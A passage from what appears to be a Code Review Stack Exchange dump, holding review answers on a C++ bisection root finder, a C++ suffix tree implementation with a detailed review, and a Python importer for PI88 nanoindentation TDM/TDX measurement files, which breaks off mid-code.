it, because you don't work at the company anymore and they inherited your code, or because they are extending your project, using your library, etc. By keeping your code simple and \"stupid\", you make it more readable and accessible to more people, and therefore, more maintainable.</p>\n\n<p>Another two important aspects of software, besides readability and maintainability, are composability and reusability. Like readability and maintainability, these two are related. The functions <code>sign</code>, <code>areBothNumbersSameSign</code> and <code>areBothNumbersNonzero</code> are quite generic, so they are easily combined together (composed). This improves their reusability. Make your functions as generic as possible, so they can be reused later in different contexts, and composed to form larger abstractions. This includes the use of generic types (templates), as in the <code>sign</code> function. Making the function closely tailored for one specific use case prevents it from being used in other cases. You can observe that the function <code>areBothFuncValuesNonzeroSameSign</code> can only be used in the context of the function <code>f</code>, since it depends on it. We can decompose its functionality into two logically distinct parts: 1) calculating the values <code>f(a)</code>, <code>f(b)</code>; and 2) checking if the computed values are both non-zero and have the same sign.</p>\n\n<pre><code>bool areBothNumbersNonzeroSameSign(double x, double y)\n{\n return areBothNumbersNonzero(x, y) &amp;&amp; areBothNumbersSameSign(x, y);\n}\n\nbool areBothFuncValuesNonzeroSameSign(double a, double b)\n{\n return areBothNumbersNonzeroSameSign(f(a), f(b));\n}\n</code></pre>\n\n<p>Again, this is just a simple example. But as the code grows bigger and the functionality gets more complex, such refactoring is necessary, although very often neglected.</p>\n\n<p><br/></p>\n\n<h3>6. Changing range in <code>moveLeft</code> and <code>moveRight</code></h3>\n\n<p>As you pointed out, it is not ideal to use a constant (2) when adjusting the range. The first naive idea that would come to my mind is to simply shift the range, without changing its size.</p>\n\n<pre><code>void moveLeft(double &amp;a, double &amp;b)\n{\n const double diff = b - a;\n b = a;\n a = a - diff;\n}\n\nvoid moveRight(double&amp; a, double&amp; b)\n{\n const double diff = b - a;\n a = b;\n b = b + diff;\n}\n</code></pre>\n\n<p>But, as you said, this is not very efficient. What you can do is increase the size of the range exponentially. I think (but I'm not sure), that this would converge more quickly on average.</p>\n\n<pre><code>void moveLeft(double &amp;a, double &amp;b)\n{\n const double diff = b - a;\n b = a;\n a = a - diff*2;\n}\n\nvoid moveRight(double&amp; a, double&amp; b)\n{\n const double diff = b - a;\n a = b;\n b = b + diff*2;\n}\n</code></pre>\n\n<hr>\n\n<p>Note that I have not tested any of this, so I can't guarantee it works.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T20:22:44.280", "Id": "232029", "ParentId": "231846", "Score": "2" } }, { "body": "<p>First thing first. Your assumption that a strictly monotonic function always has exactly one root is wrong. For it to be true, the function must not only be monotonic but also continuous on its entire domain (or in other words, it cannot have jump discontinuities, <a href=\"https://en.wikipedia.org/wiki/Classification_of_discontinuities#Jump_discontinuity\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Classification_of_discontinuities#Jump_discontinuity</a>).</p>\n\n<p>EDIT: Actually it must also be defined on all real numbers, or in other words, its domain must be <code>R</code>.<br>\nEDIT2: Actually it can be discontinuous, but must not have jump discontinuities.</p>\n\n<p>For example, consider <code>f(x) =&gt; x + (x&lt;0?-1:1)</code>.\nThis function is strictly monotonic and is defined for any R, but it has a jump discontinuity and it does not have a root.</p>\n\n<p><code>f(x) =&gt; (x &lt; 0 ? x-1 : nan)</code> is strictly monotonic on its entire domain, it is continuous on its entire domain, but its entire domain is not all R and it does not have a root.</p>\n\n<p><code>f(x) =&gt; (x&lt;0 ? x : 2*x)</code> is strictly monotonic on its entire domain, it is not continuous, its entire domain is all R, but it does not have a jump discontinuity, and it has a root. </p>\n\n<p>Now, let's assume that the function being continuous is part of your definition, but you just forgot to mention that.</p>\n\n<p>Another problem I see is that function <code>double findRoot(double,double,double)</code> is accessing the <code>f()</code> function globally.\nAnd since <code>f()</code> is defined as <code>(x) =&gt; x - 10000</code>, the most efficient implementation of the <code>findRoot()</code> function is to simply return constexpr <code>10000</code>.</p>\n\n<p>If you want <code>findRoot()</code> to work over any <code>double (*f)(double)</code> you have to pass the function pointer to the function:</p>\n\n<pre><code>double findRoot(double (*f)(double), double, double, double);\n</code></pre>\n\n<p>I'm not going to say much more about your implementation, as @kyrill already said a lot. There is one thing I would object to in that answer though:</p>\n\n<p>I.e. here:</p>\n\n<pre><code>bool shouldMoveLeft(double a, double b)\n{\n return (isIncreasing(a, b) &amp;&amp; areBothFuncValuesPositive(a, b))\n ||(isDecreasing(a, b) &amp;&amp; areBothFuncValuesNegative(a, b));\n}\n</code></pre>\n\n<p>Although it's nice and readable, it's terrible in terms of performance. <code>isIncreasing</code>, <code>areBothFuncValuesPositive</code>, <code>isDecreasing</code> and <code>areBothFuncValuesNegative</code> - all these functions invoke <code>f(a)</code> and <code>f(b)</code> with the same <code>a</code> and <code>b</code>. This means that <code>f(a)</code> is invoked 4 times and returns the same result on each call. Same with <code>f(b)</code>. Because <code>f</code> is an arbitrary function, it can be arbitrarily complex. And invoking it four times to get one result is four times less performant than it could be. And <code>shouldMoveLeft</code> is just one instance of this problem. Other functions have the same problem.</p>\n\n<p>And one more point to make, although I haven't really investigated the consequences, but I just feel like there might be some.\nThere can be functions which although strictly monotonic, change so slowly that ẟy is incredibly small even for a big ẟx.\nFor example, <code>(x) =&gt; x/lot</code> where <code>lot</code> is a very big number.\nI leave that for you to find out what consequences it might have.</p>\n\n<p>EDIT3: actually the opposite (very small ẟx yields large ẟy) could also cause some problems, e.g. <code>(x) =&gt; lot * x</code>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T23:17:58.347", "Id": "453010", "Score": "0", "body": "Yes, it would make sense to compute the values of `f` beforehand and define the function `isIncreasing` and others to work on their inputs directly instead of invoking `f`. Also, good point about `f` being used globally. Passing a function pointer is what occurred to me first, but I didn't bother to mess with the funny business of function pointers in C++. BTW which consequences in the case of `y = (x) => x/lot` do you have in mind?" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T07:31:54.843", "Id": "232045", "ParentId": "231846", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:32:13.917", "Id": "231846", "Score": "3", "Tags": [ "c++", "performance", "mathematics" ], "Title": "Finding root of strictly monotonic function by bisection" }
231846
<p>This is my implementation of the suffix tree using the <code>O(n^2)</code> naive algorithm recursively. It is also my first big project in which I've used all the knowledge I have acquired about C++ so far. I would appreciate any advice on how to improve my code and make it compatible with the modern C++ best practices.</p> <p>SuffixTree.h</p> <pre><code>#ifndef SUFFIX_TREE_H #define SUFFIX_TREE_H #include &lt;string&gt; #include &lt;map&gt; #include &lt;vector&gt; #include &lt;fstream&gt; namespace trie { typedef std::size_t size_type; template &lt;typename T1, typename T2&gt; // bidirectional map to create one-to-one mapping between the alphabet of input string and it's rank in `BiMap` class BiMap { public: void insert(const T1&amp; a, const T2&amp; b); // insert and create a mapping between `a` and `b` void generateKeys(const std::string&amp; text); // find unique alphabets in `text` and call `insert` with their respective ranks T2 retrieve(const T1&amp; key); // return the rank when passed it's corresponding alphabet T1 retrieve(const T2&amp; key); // return the alphabet when passed it's corresponding rank size_type getSize(); // return total mappings created (used to specify how many children a node must have) void print(); // print the mappings private: std::map&lt;T1, T2*&gt; map1_; // alphabet saved as key with it's value pointing to it's corresponding rank which is key of `map2_` std::map&lt;T2, T1*&gt; map2_; // rank saved as key with it's value pointing to it's corresponding alphabet which is key of `map1_` }; // node of the suffix tree struct Node { Node(size_type id, int length, int size); size_type id_; // represents the position in text where suffix represented by this node begins int length_; // length of the substring encapsulated by the given node (only for internal nodes). -1 means it's a leaf. std::vector&lt;Node*&gt; children_; // `BiMap::getSize()` number of children for each node. }; class SuffixTree { public: SuffixTree(const std::string&amp; text = ""); // constructor for text passed from main SuffixTree(const std::ifstream&amp; file); // constructor for text passed from input file Node* insert(Node* current, size_type id, int length = 0); // recursive function to insert node with id = `id` called on root void constructTree(); // loop over all suffixes of `text_` and call `insert` on each void printSuffixes(); // print suffixes inorder void printSuffixes(Node* current); // called by above function void printInorder(); // print all nodes in suffix tree inorder void printInorder(Node* current); // called by above function void deleteTree(Node* current); // recursive deleter called by the destructor ~SuffixTree(); private: std::string text_; // saves the input text BiMap&lt;char, size_type&gt; map_; // maps alphabet of `text_` Node *root_; // constructed as soon as `SuffixTree` object is created }; } #include "SuffixTree.inl" #endif </code></pre> <p>SuffixTree.inl</p> <pre><code>#include "SuffixTree.h" #include &lt;iostream&gt; #include &lt;set&gt; #include &lt;sstream&gt; template &lt;typename T1, typename T2&gt; void trie::BiMap&lt;T1, T2&gt;::insert(const T1&amp; t1, const T2&amp; t2) { auto itr1 = map1_.emplace(t1, nullptr).first; auto itr2 = map2_.emplace(t2, nullptr).first; map1_[itr1-&gt;first] = (T2*) &amp;(itr2-&gt;first); // I know this is dangerous but once built, I only use it for reading. map2_[itr2-&gt;first] = (T1*) &amp;(itr1-&gt;first); // This is the simplest BiMap implementation I came up with. } template &lt;typename T1, typename T2&gt; void trie::BiMap&lt;T1, T2&gt;::generateKeys(const std::string&amp; text) { std::set&lt;char&gt; S; for (size_type i = 0; i &lt; text.size(); ++i) S.insert(text[i]); size_type rank = 0; for (auto itr = S.cbegin(); itr != S.cend(); ++itr) insert(*itr, rank++); } template &lt;typename T1, typename T2&gt; T2 trie::BiMap&lt;T1, T2&gt;::retrieve(const T1&amp; key) { if (map1_.find(key) == map1_.cend()) exit(EXIT_FAILURE); return *map1_[key]; } template &lt;typename T1, typename T2&gt; T1 trie::BiMap&lt;T1, T2&gt;::retrieve(const T2&amp; key) { if (map2_.find(key) == map2_.cend()) exit(EXIT_FAILURE); return *map2_[key]; } template &lt;typename T1, typename T2&gt; trie::size_type trie::BiMap&lt;T1, T2&gt;::getSize() { return map1_.size() | map2_.size(); } template &lt;typename T1, typename T2&gt; void trie::BiMap&lt;T1, T2&gt;::print() { for (typename std::map&lt;T1, T2*&gt;::const_iterator itr = map1_.cbegin(), end = map1_.cend(); itr != end; ++itr) std::cout &lt;&lt; itr-&gt;first &lt;&lt; " -&gt; " &lt;&lt; *itr-&gt;second &lt;&lt; std::endl; } trie::Node::Node(size_type id, int length, int size) : id_(id), length_(length), children_(size, nullptr) { } trie::SuffixTree::SuffixTree(const std::string&amp; text) : text_(text) { map_.generateKeys(text_); map_.print(); root_ = new Node(-1, 0, map_.getSize()); // `id` and `length` of root node don't matter as they're never accessed } trie::SuffixTree::SuffixTree(const std::ifstream&amp; file) { std::stringstream ss; ss &lt;&lt; file.rdbuf(); // redirect file buffer to string stream text_ = ss.str(); // copy the string from ss to `text_` map_.generateKeys(text_); map_.print(); root_ = new Node(-1, 0, map_.getSize()); } trie::Node* trie::SuffixTree::insert(Node* current, size_type id, int length) { if (current == nullptr) // return the leaf to link it to it's parent return new Node(id, -1, map_.getSize()); if (current-&gt;length_ == -1) // if `current` is a leaf { size_type i = id + length; // `length` is used to keep track of how many matches we have done so far in the path till here. // Hard to explain this one. You'll have to look at the insertion of `a~`, the 2nd last suffix in `banana~`, to understand it right. size_type j = current-&gt;id_ + length; while (text_[i] == text_[j]) // match the substring represented by this node (using j) with the substring starting at position `id` in text { length += 1; i += 1; j += 1; } /* Link of `current` with it's parent is broken and a new node is inserted in it's place whose `length` represents the substring we have matched so far in the path from `root` till `current`. The "broken" node, `current`, is rejoined at the correct position in the `children` of the new node. The "correct position" is determined by the first char which the rest of the string `current` represents (where text_[i] and text_[j] are not equal). Once that's done, continue the recursive insertion procedure from `text_[i]`. */ Node *temp = new Node(current-&gt;id_, length, map_.getSize()); size_type rankJ = map_.retrieve(text_[j]); temp-&gt;children_[rankJ] = current; size_type rankI = map_.retrieve(text_[i]); temp-&gt;children_[rankI] = insert(temp-&gt;children_[rankI], id, length); return temp; // `temp` has to be returned as now it is the new child of the parent instead of `current`. } else // if `current` is an internal node { size_type i = id + length; size_type j = current-&gt;id_ + length; size_type limit = current-&gt;length_-length; while (limit &amp;&amp; text_[i] == text_[j]) { length += 1; i += 1; j += 1; limit -= 1; } size_type rankI = map_.retrieve(text_[i]); current-&gt;children_[rankI] = insert(current-&gt;children_[rankI], id, length); // if everything is matching so far, we continue down return current; } } void trie::SuffixTree::constructTree() { for (size_type i = 0; i &lt; text_.size(); ++i) { size_type rank = map_.retrieve(text_[i]); root_-&gt;children_[rank] = insert(root_-&gt;children_[rank], i); } } void trie::SuffixTree::printSuffixes() { printSuffixes(root_); } void trie::SuffixTree::printSuffixes(Node* current) { if (current == nullptr) return; if (current-&gt;length_ == -1) std::cout &lt;&lt; text_.substr(current-&gt;id_) &lt;&lt; std::endl; for (size_type i = 0; i &lt; current-&gt;children_.size(); ++i) printSuffixes(current-&gt;children_[i]); } void trie::SuffixTree::printInorder() { printInorder(root_); } void trie::SuffixTree::printInorder(Node* current) { if (current == nullptr) return; for (size_type i = 0; i &lt; current-&gt;children_.size(); ++i) printInorder(current-&gt;children_[i]); std::cout &lt;&lt; current-&gt;id_ &lt;&lt; ' ' &lt;&lt; current-&gt;length_ &lt;&lt; std::endl; } void trie::SuffixTree::deleteTree(Node* current) { if (current == nullptr) return; for (size_type i = 0; i &lt; current-&gt;children_.size(); ++i) deleteTree(current-&gt;children_[i]); delete current; } trie::SuffixTree::~SuffixTree() { deleteTree(root_); } </code></pre> <p>main.cpp</p> <pre><code>#include &lt;iostream&gt; #include "SuffixTree.h" int main() { trie::SuffixTree Tree("banana~"); Tree.constructTree(); Tree.printSuffixes(); } </code></pre>
[]
[ { "body": "<p>You shouldn't <code>#include \"SuffixTree.h\"</code> in <code>SuffixTree.inl</code>. Since the <code>.inl</code> file is included in the header below the class definitions, they will be available to the implementation code. Including the header again would be a circular dependency.</p>\n\n<hr>\n\n<p>Your compiler should give you various warnings about converting from <code>std::size_t</code> to <code>int</code>, and comparing signed / unsigned numbers.</p>\n\n<p>These can be fixed by changing the length and size arguments / members in the <code>Node</code> class to be <code>size_type</code>.</p>\n\n<p>Using <code>-1</code> for invalid values should still work ok.</p>\n\n<hr>\n\n<p><strong><code>BiMap</code>:</strong></p>\n\n<pre><code>T2 retrieve(const T1&amp; key);\nT1 retrieve(const T2&amp; key);\n</code></pre>\n\n<p>It would be better for these functions to have different names.</p>\n\n<ul>\n<li><p>It's much more difficult to understand the code because we have to look at the type of the key being passed in to see which value is being retrieved.</p></li>\n<li><p>If <code>T1</code> and <code>T2</code> happen to be the same type this won't compile due to ambiguity.</p></li>\n</ul>\n\n<p>It looks like we only use the first version of <code>retrieve</code> anyway. Do we really need the bidirectional look up?</p>\n\n<hr>\n\n<p>Does <code>generateKeys()</code> work if called a second time? If not, it would be best to use the <code>BiMap</code> constructor to take the text and pass it to <code>generateKeys()</code>, and make <code>generateKeys()</code> private.</p>\n\n<p><code>insert()</code> could also be private, since it doesn't look like it's intended to be called from outside the class.</p>\n\n<hr>\n\n<pre><code>template &lt;typename T1, typename T2&gt;\ntrie::size_type trie::BiMap&lt;T1, T2&gt;::getSize()\n{\n return map1_.size() | map2_.size();\n}\n</code></pre>\n\n<p>Uh... This doesn't seem correct. If the intention is to return the maximum, we could use <code>std::max(map1_.size(), map2_.size())</code>? It would be reasonable to <code>assert</code> that the values are the same, and just return either of them.</p>\n\n<hr>\n\n<pre><code>template &lt;typename T1, typename T2&gt;\nvoid trie::BiMap&lt;T1, T2&gt;::print()\n{\n for (typename std::map&lt;T1, T2*&gt;::const_iterator itr = map1_.cbegin(), end = map1_.cend(); itr != end; ++itr)\n std::cout &lt;&lt; itr-&gt;first &lt;&lt; \" -&gt; \" &lt;&lt; *itr-&gt;second &lt;&lt; std::endl;\n}\n</code></pre>\n\n<p>A range-based for loop with <code>auto</code> would be much clearer:</p>\n\n<pre><code>for (auto const&amp; i : map1_)\n std::cout &lt;&lt; i.first &lt;&lt; \" -&gt; \" &lt;&lt; i.second &lt;&lt; std::endl;\n</code></pre>\n\n<hr>\n\n<p>Member functions that don't change member state should be <code>const</code>:</p>\n\n<pre><code> T2 retrieve(const T1&amp; key) const;\n T1 retrieve(const T2&amp; key) const;\n size_type getSize() const;\n void print() const;\n</code></pre>\n\n<hr>\n\n<p><strong><code>Node</code>:</strong></p>\n\n<pre><code> size_type id_; // represents the position in text where suffix represented by this node begins\n int length_; // length of the substring encapsulated by the given node (only for internal nodes). -1 means it's a leaf.\n</code></pre>\n\n<p>IIRC, the special character at the end of the string (<code>~</code>) is a means of marking the end nodes. If we use a length placeholder of <code>-1</code> to mark the end nodes, I don't think we need the placeholder character (or vice versa).</p>\n\n<p>Both <code>id_</code> and <code>length_</code> seem to be serving dual purposes. For an external node, <code>id_</code> is the suffix start index, but for an internal node it doesn't mean anything. For an external node, <code>length_</code> is <code>-1</code>, but for an internal node, it's the string length for this segment.</p>\n\n<p>This is quite complicated. It would be neater to <em>always</em> store the relevant indices for the string segment (and probably easier to use the suffix tree for various purposes later).</p>\n\n<p>We can add a <code>std::optional&lt;size_type&gt;</code> member to store the suffix index. If this is set, we know we're at an end node (so we avoid the need for the special character or the alternate meaning for <code>length_</code>).</p>\n\n<hr>\n\n<p><strong><code>SuffixTree</code>:</strong></p>\n\n<pre><code>SuffixTree(const std::string&amp; text = \"\");\nSuffixTree(const std::ifstream&amp; file);\n</code></pre>\n\n<p>We should read input from the file outside of the <code>SuffixTree</code> class and call the other constructor. The <code>SuffixTree</code> shouldn't care about file input.</p>\n\n<p>The default value for <code>text</code> seems rather unnecessary.</p>\n\n<hr>\n\n<pre><code>trie::SuffixTree Tree(\"banana~\");\nTree.constructTree();\n</code></pre>\n\n<p>We can call <code>constructTree</code> in the constructor.</p>\n\n<hr>\n\n<pre><code>root_ = new Node(size_type(-1), 0, map_.getSize());\n</code></pre>\n\n<p>We should use <code>std::unique_ptr</code>s to store the nodes, rather than doing manual memory management.</p>\n\n<hr>\n\n<pre><code> size_type rankJ = map_.retrieve(text_[j]);\n temp-&gt;children_[rankJ] = ...\n</code></pre>\n\n<p>We could abstract this (finding a relevant child node by character) into a separate helper function (e.g. <code>getChild(temp, text_[j]) = ...</code>).</p>\n\n<hr>\n\n<p>Several functions could be private, as they can't sensibly be called from outside the class:</p>\n\n<pre><code> Node* insert(Node* current, size_type id, int length = 0);\n void constructTree();\n void printSuffixes(Node* current); // called by above function\n void printInorder(Node* current); // called by above function\n void deleteTree(Node* current);\n</code></pre>\n\n<p>Again, any member functions that don't change member state (e.g. printing) should be <code>const</code>.</p>\n\n<hr>\n\n<p>For the <code>insert</code> function, if we have C++14, we can use <a href=\"https://en.cppreference.com/w/cpp/algorithm/mismatch\" rel=\"nofollow noreferrer\"><code>std::mismatch</code></a> to find the point at which the inserted string differs from the node. (It's awkward to use before C++14 because we had to depend on the second range provided being shorter than the first).</p>\n\n<hr>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T21:00:49.970", "Id": "232031", "ParentId": "231848", "Score": "5" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:53:51.640", "Id": "231848", "Score": "6", "Tags": [ "c++" ], "Title": "Naive Suffix Tree implementation using recursion" }
231848
<p>As an exercise, I want to rewrite a C++ program to import measurement files (and later create excelsheets, reports ...). The measurement files split in 2 files, a binary file, and a xml-file. Because I can't control how the vendor might change the file structure or the names for data, I thought up a way, to put them as a list of tuples (attribute name for python, data name as in the xml-file) at the beginning of my classes, and use this list to create parameters/access data. IMHO that should make it easier in the future to adjust for changes with the measurement file format. Is this a good idea? Or are there potential issues down the road, I'm not aware of? (one problem I already encountered: pycharms code completition is not working when using setattrib - but thats not a huge issue for me). Also feedback for the rest of the code is welcome.</p> <p>Code on github: <a href="https://github.com/natter1/pi88reader" rel="nofollow noreferrer">https://github.com/natter1/pi88reader</a></p> <p>There you can also find example measurement files:</p> <p><a href="https://github.com/natter1/pi88reader/tree/master/resources" rel="nofollow noreferrer">https://github.com/natter1/pi88reader/tree/master/resources</a></p> <p>pi88importer.py:</p> <pre><code>import pi88reader.tdm_importer as tdm import numpy as np def main(): """ Called at end of file, if __name__ == "__main__" """ measurement = PI88Measurement('..\\resources\\quasi_static_12000uN.tdm') # measurement = PI88Measurement('..\\resources\\nan_error_dyn_10000uN.tdm') print(measurement.settings.dict) print(measurement.area_function.b) for name_tuple in PI88Measurement.static_name_tuples: print(name_tuple[0], getattr(measurement, name_tuple[0])) for name_tuple in PI88Segments.name_tuples: print(name_tuple[0], getattr(measurement.segments, name_tuple[0])) for name_tuple in PI88Measurement.dynamic_name_tuples: print(name_tuple[0], getattr(measurement, name_tuple[0])) class PI88AreaFunction: data_names = [ ("filename", "Acquisition_Area_Function_Name"), ("b", "Current_Area_Function_B"), ("c0", "Current_Area_Function_C0"), ("c1", "Current_Area_Function_C1"), ("c2", "Current_Area_Function_C2"), ("c3", "Current_Area_Function_C3"), ("c4", "Current_Area_Function_C4"), ("c5", "Current_Area_Function_C5") ] def __init__(self, settings_dict={}): # only needed, to make pycharm code completion work: self.b = None self.c0 = None # ... self.read(settings_dict) def read(self, settings): """ Read area function parameters from a dictionary (settings). :param settings: dict :return: None """ for data_name in PI88AreaFunction.data_names: if data_name[1] in settings: setattr(self, data_name[0], settings[data_name[1]]) else: setattr(self, data_name[0], None) def get_area(self, h): return (self.c0 * h**2 + self.c1 * h + self.c2 * h**(1/2) + self.c3 * h**(1/4) + self.c4 * h**(1/8) + self.c5 * h**(1/16) ) class PI88Segments: # (attribute_name, TDM-channelname) name_tuples = [ ("timestamp_begin", "Segment Begin Time"), ("timestamp_end", "Segment End Time"), ("time", "Segment Time"), ("begin_demand", "Segment Begin Demand"), ("end_demand", "Segment End Demand"), ("fb_mode", "Segment FB Mode"), ("points", "Segment Points"), ("lia_status", "Segment LIA Status") ] def __init__(self, data): self.points_compressed = None self._read(data) def _read(self, data): group_name = "Segments" data._read_from_channel_group(group_name, PI88Segments.name_tuples, self) print(data.get_channel_dict(group_name)) class PI88Settings: # self.settings dictonary names for important settings important_settings_names = [ "Current_Machine_Compliance__nm___mN__", "Current_Tip_Modulus__MPa__", "Current_Tip_Poissons_Ratio", "Acquisition_Tare", "Acquisition_Transducer_Type", "Acquisition_Test_Aborted", "Current_Drift_Correction", "Current_Drift_Rate__nm___s__" ] def __init__(self, data): self.dict = {} self._read(data) def _read(self, data): self.dict = data.get_instance_attributes_dict() class PI88Measurement: # (attribute_name, TDM-channelname) static_name_tuples = [ ("time", "Test Time"), ("depth", "Indent Disp."), ("load", "Indent Load"), ("load_actual", "Indent Act. Load"), ("depth_v", "Indent Disp. Volt."), ("load_v", "Indent Act. Load Volt."), ("output_v", "Indent Act. Output Volt.") ] # (attribute_name, TDM-channelname) dynamic_name_tuples = [ # channel groupname: Indentation Averaged Values ("average_dynamic_time", "Test Time"), ("average_dynamic_depth", "Indent Disp."), ("average_dynamic_load", "Indent Load"), ("average_dynamic_load_actual", "Indent Act. Load"), ("average_dynamic_depth_v", "Indent Disp. Volt."), ("average_dynamic_load_v", "Indent Act. Load Volt."), ("average_dynamic_output_v", "Indent Act. Output Volt."), # channel groupname: "Basic Dynamic Averaged Values 1" ("average_dynamic_freq", "Dynamic Freq."), ("average_dynamic_disp_amp", "Disp. Amp."), ("average_dynamic_phase_shift", "Phase Shift"), ("average_dynamic_load_amp", "Load Amp."), ("average_dynamic_dyn_comp", "Dynamic Comp."), ("average_dynamic_disp_amp_v", "Disp. Amp. Volt."), ("average_dynamic_load_amp_v", "Load Amp. Volt."), # channel groupname: "Visco-Elastic: Indentation Averaged Values 1" ("average_dynamic_storage_mod", "Storage Mod."), ("average_dynamic_loss_mod", "Loss Mod."), ("average_dynamic_tan_delta", "Tan-Delta"), ("average_dynamic_complex_mod", "Complex Mod."), ("average_dynamic_hardness", "Hardness"), ("average_dynamic_contact_area", "Contact Area"), ("average_dynamic_contact_depth", "Contact Depth") ] def __init__(self, filename): # todo: how to make it work with 'with' statement data = tdm.TdmData(filename) self.segments = PI88Segments(data) self.settings = PI88Settings(data) self.area_function = PI88AreaFunction(self.settings.dict) self._read_quasi_static(data) self._read_average_dynamic(data) for name_tuple in PI88Measurement.dynamic_name_tuples: self.remove_nans(name_tuple[0]) def _read_quasi_static(self, data): group_name = "Indentation All Data Points" data._read_from_channel_group(group_name, PI88Measurement.static_name_tuples, self) # print(data.channel_dict(group_name)) def _read_average_dynamic(self, data): group_name = "Indentation Averaged Values" data._read_from_channel_group(group_name, PI88Measurement.dynamic_name_tuples[0:7], self) # print(data.channel_dict(group_name)) group_name = "Basic Dynamic Averaged Values 1" data._read_from_channel_group(group_name, PI88Measurement.dynamic_name_tuples[7:14], self) group_name = "Visco-Elastic: Indentation Averaged Values 1" data._read_from_channel_group(group_name, PI88Measurement.dynamic_name_tuples[14:], self) def remove_nans(self, attribute_name): """ Sometimes it happens in dynamic mode, that measurement values are invalid (-&gt; nan). Those invalid values can be removed with this method. :param attribute_name: Name (self.attribute_name) to be cleaned. :return: None """ array = getattr(self, attribute_name, None) if array is not None: mask = np.invert(np.isnan(array)) setattr(self, attribute_name, array[mask]) if __name__ == "__main__": main() </code></pre> <p>tdm_importer.py</p> <pre><code>"""This module allows National Instruments TDM/TDX files to be accessed like NumPy structured arrays. ============================================================================== Inspired by the module tdm-loader (https://pypi.org/project/tdm-loader/): from Josh Ayers and Florian Dobener ============================================================================== """ import os.path import re import warnings import xml.etree.ElementTree import numpy as np # dictionary for converting from NI to NumPy datatypes DTYPE_CONVERTERS = {'eInt8Usi': 'i1', 'eInt16Usi': 'i2', 'eInt32Usi': 'i4', 'eInt64Usi': 'i8', 'eUInt8Usi': 'u1', 'eUInt16Usi': 'u2', 'eUInt32Usi': 'u4', 'eUInt64Usi': 'u8', 'eFloat32Usi': 'f4', 'eFloat64Usi': 'f8', 'eStringUsi': 'U'} def get_usi_from_string(string): if string is None or string.strip() == '': return [] else: return re.findall("id\(\"(.+?)\"\)", string) class TdmChannel: def __init__(self, root, _id): self.xml_root = root self.id = _id self.name = None self.description = None self.unit = None self.inc = None self.data_type = None self.local_columns_usi = None self.read() def read(self): element = self.xml_root.find(f'.//tdm_channel[@id=\'{self.id}\']') self.name = element.find("name").text self.description = element.find("description").text self.unit = element.find("unit_string").text self.data_type = element.find("datatype").text self.local_columns_usi = get_usi_from_string(element.findtext('local_columns'))[0] self.inc = self._get_inc() def _get_data_usi(self, root): local_column = root.find( f".//localcolumn[@id='{self.local_columns_usi}']") return get_usi_from_string(local_column.findtext('values'))[0] def _get_inc(self): data_type = self.data_type.split('_')[1].lower() + '_sequence' data_usi = self._get_data_usi(self.xml_root) return self.xml_root.find( f".//{data_type}[@id='{data_usi}']/values").get('external') def __str__(self): return f"TdmChannel object\n" \ f"\tid: {self.id}\n" \ f"\tName: {self.name}\n" \ f"\tDescription: {self.description}\n" \ f"\tUnit: {self.unit}\n" \ f"\tdata type: {self.data_type}" \ f"\tinc: {self.inc}" class TdmChannelGroup: def __init__(self, root, id): self.id = None self.name = None self.description = None self.channel_ids = [] self.channels = [] self.read(root, id) self.read_channels(root) def read(self, root, _id): element = root.find(f'.//tdm_channelgroup[@id=\'{_id}\']') self.id = element.get('id') self.name = element.find("name").text self.description = element.find("description").text self.channel_ids = get_usi_from_string(element.findtext('channels')) def read_channels(self, root): for channel_id in self.channel_ids: self.channels.append(TdmChannel(root, channel_id)) # print(self.channels[0]) def get_channel(self, channel_name): result = [x for x in self.channels if x.name == channel_name] if len(result) == 0: return None return result[0] def __str__(self): return f"TdmChannelGroup object\n" \ f"\tid: {self.id}\n" \ f"\tName: {self.name}\n" \ f"\tDescription: {self.description}\n" \ f"\tChannel ids: {self.channel_ids.__str__()}" class TdmData: """Class for importing data from National Instruments TDM/TDX files.""" def __init__(self, tdm_file): """ :param tdm_file: str The filename including full path to the .TDM xml-file. """ self._folder, self._tdm_filename = os.path.split(tdm_file) self.root = xml.etree.ElementTree.parse(tdm_file).getroot() self._tdx_order = 'C' # Set binary file reading to column-major style self._tdx_filename = self.root.find('.//file').get('url') self._tdx_path = os.path.join(self._folder, self._tdx_filename) self.channel_groups = [] self.read_channel_groups() def read_channel_groups(self): ids = get_usi_from_string(self.root.findtext('.//tdm_root//channelgroups')) for _id in ids: self.channel_groups.append(TdmChannelGroup(self.root, _id)) def get_channel_group_names(self): """ Returns a list with all channel_group names. :return: list of str """ return [x.name for x in self.channel_groups if x.name is not None] def get_channel_names(self, channel_group_name): """ Returns a list with all channel names in channel_group. :param channel_group_name: str :return: list of str """ channels = self.get_channel_group(channel_group_name).channels return [channel.name for channel in channels if channel.name is not None] def get_channel_dict(self, channel_group_name): """Returns a dict with {channel: data} entries of a channel_group. :param channel_group_name: str :return: dict """ channel_dict = {} name_doublets = set() for channel_name in self.get_channel_names(channel_group_name): if channel_name in channel_dict: name_doublets.add(channel_name) inc = self.get_channel(channel_group_name, channel_name).inc data = self._get_data(inc) channel_dict[channel_name] = np.array(data) if len(name_doublets) &gt; 0: warnings.warn(f"Duplicate channel name(s): {name_doublets}") return channel_dict def get_channel_group(self, group_name): result = [x for x in self.channel_groups if x.name == group_name] if len(result) == 0: return None return result[0] def get_channel(self, channel_group_name, channel_name): channel_group = self.get_channel_group(channel_group_name) if channel_group: return channel_group.get_channel(channel_name) return None def get_endian_format(self): """ Returns '&lt;' for littleEndian and '&gt;' for bigEndian :return: '&lt;' or '&gt;' """ order = self.root.find('.//file').get('byteOrder') if order == 'littleEndian': return '&lt;' elif order == 'bigEndian': return '&gt;' else: raise TypeError('Unknown endian format in TDM file') def _get_dtype_from_tdm_type(self, value_type): return np.dtype(self.get_endian_format() + DTYPE_CONVERTERS[value_type]) def _get_data(self, inc): """Gets data binary tdx-file belonging to the given inc. :param inc: int :return: numpy data or None Returns None, if 